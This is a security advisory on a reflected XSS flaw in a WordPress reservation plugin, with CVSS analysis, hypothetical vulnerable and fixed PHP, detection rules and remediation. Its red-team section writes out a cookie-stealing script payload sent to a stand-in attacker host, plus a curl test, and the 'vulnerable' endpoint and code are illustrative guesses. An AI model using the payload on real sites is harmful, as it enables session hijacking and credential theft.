CVE-2025-64221

Executive Summary

CVE-2025-64221 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin dt-reservation-plugin by Designthemes, affecting versions up to and including 1.6. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session. The CVSS score of 7.1 (High) reflects the low complexity of exploitation and the potential for significant impact on confidentiality, integrity, and availability. No public proof-of-concept (PoC) or exploit code has been released, and no official patch is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains for unpatched installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin files and monitor for updates from the vendor. Since no patch exists, supply chain risk is elevated; consider removing the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must click a crafted link.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: Low (A:L) – Limited disruption.

Threat Level: High. Despite low EPSS, the ease of exploitation and lack of patch make this a significant risk for WordPress sites using the plugin.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS (CWE-79) in the dt-reservation-plugin WordPress plugin. The plugin fails to sanitize or escape user-supplied input before reflecting it in the HTTP response. An attacker can craft a malicious URL containing JavaScript payloads in parameters such as reservation_date, name, or email. When a victim clicks the link, the script executes in their browser, potentially stealing cookies, session tokens, or performing actions on their behalf.

Attack Flow:

1. Attacker identifies a vulnerable parameter (e.g., ?reservation_date=<script>alert(1)</script>).
2. Attacker crafts a phishing email or social engineering message with the malicious link.
3. Victim clicks the link while authenticated to the WordPress site.
4. The injected script executes, exfiltrating data to an attacker-controlled server.

Root Cause: The plugin uses echo $_GET['param'] or similar without applying esc_html() or wp_kses().

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on best practices.

Vulnerable Code (example from plugin):

<?php
$name = $_GET['name'];
echo "Thank you, " . $name . "!";
?>

Patched Code (recommended):

<?php
$name = isset($_GET['name']) ? sanitize_text_field($_GET['name']) : '';
echo "Thank you, " . esc_html($name) . "!";
?>

The patched version uses sanitize_text_field() to strip dangerous characters and esc_html() to encode output, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with dt-reservation-plugin version <= 1.6.
• A web browser or tool like curl.

Step-by-Step Exploitation:

1. Identify a vulnerable endpoint (e.g., /wp-content/plugins/dt-reservation-plugin/process.php).
2. Craft a payload: http://target.com/wp-content/plugins/dt-reservation-plugin/process.php?name=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
3. Send the link to a victim (e.g., via email).
4. Set up a listener on attacker server to capture cookies.

Example curl command:

curl -v "http://target.com/wp-content/plugins/dt-reservation-plugin/process.php?name=<script>alert('XSS')</script>"

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual query parameters containing <script>, onerror, or javascript:.
• Use WAF rules to block reflected XSS patterns.

Lab Setup:

• Use a local WordPress instance with the vulnerable plugin.
• Simulate attack with curl and observe logs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with parameters containing <script>, %3Cscript%3E, or onerror= in the query string.
  • Outbound connections to unknown IPs or domains from the WordPress server.
• File IOCs:
  • Modified plugin files (e.g., process.php) containing suspicious echo statements.
• Log IOCs:
  • Web server logs showing GET /wp-content/plugins/dt-reservation-plugin/process.php?name=<script>... entries.

Detection Engineering

YARA Rule

rule CVE_2025_64221_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against dt-reservation-plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64221"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /javascript\s*:\s*/i
        $plugin_path = /dt-reservation-plugin/
    condition:
        any of ($xss*) and $plugin_path
}

Sigma Rule

title: Reflected XSS Attempt Against dt-reservation-plugin
id: 8a3f7c2e-1b5d-4a9f-8c6e-0d2f3a4b5c6d
status: experimental
description: Detects reflected XSS payloads in HTTP requests to dt-reservation-plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
        cs-uri-stem|contains: '/wp-content/plugins/dt-reservation-plugin/'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64221 Reflected XSS in dt-reservation-plugin"; flow:to_server,established; content:"/wp-content/plugins/dt-reservation-plugin/"; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
3. Review server logs for signs of exploitation.

Long-Term Fix:

• Apply input sanitization and output encoding as shown in the patched code example.
• Monitor the vendor’s website for an official update.
• Consider replacing the plugin with a maintained alternative.

Workaround:

• Use .htaccess to block direct access to vulnerable files:

<FilesMatch "process\.php$">
    Order Allow,Deny
    Deny from all
</FilesMatch>

Valters IT
DevSecOps & Cyber Threat Intelligence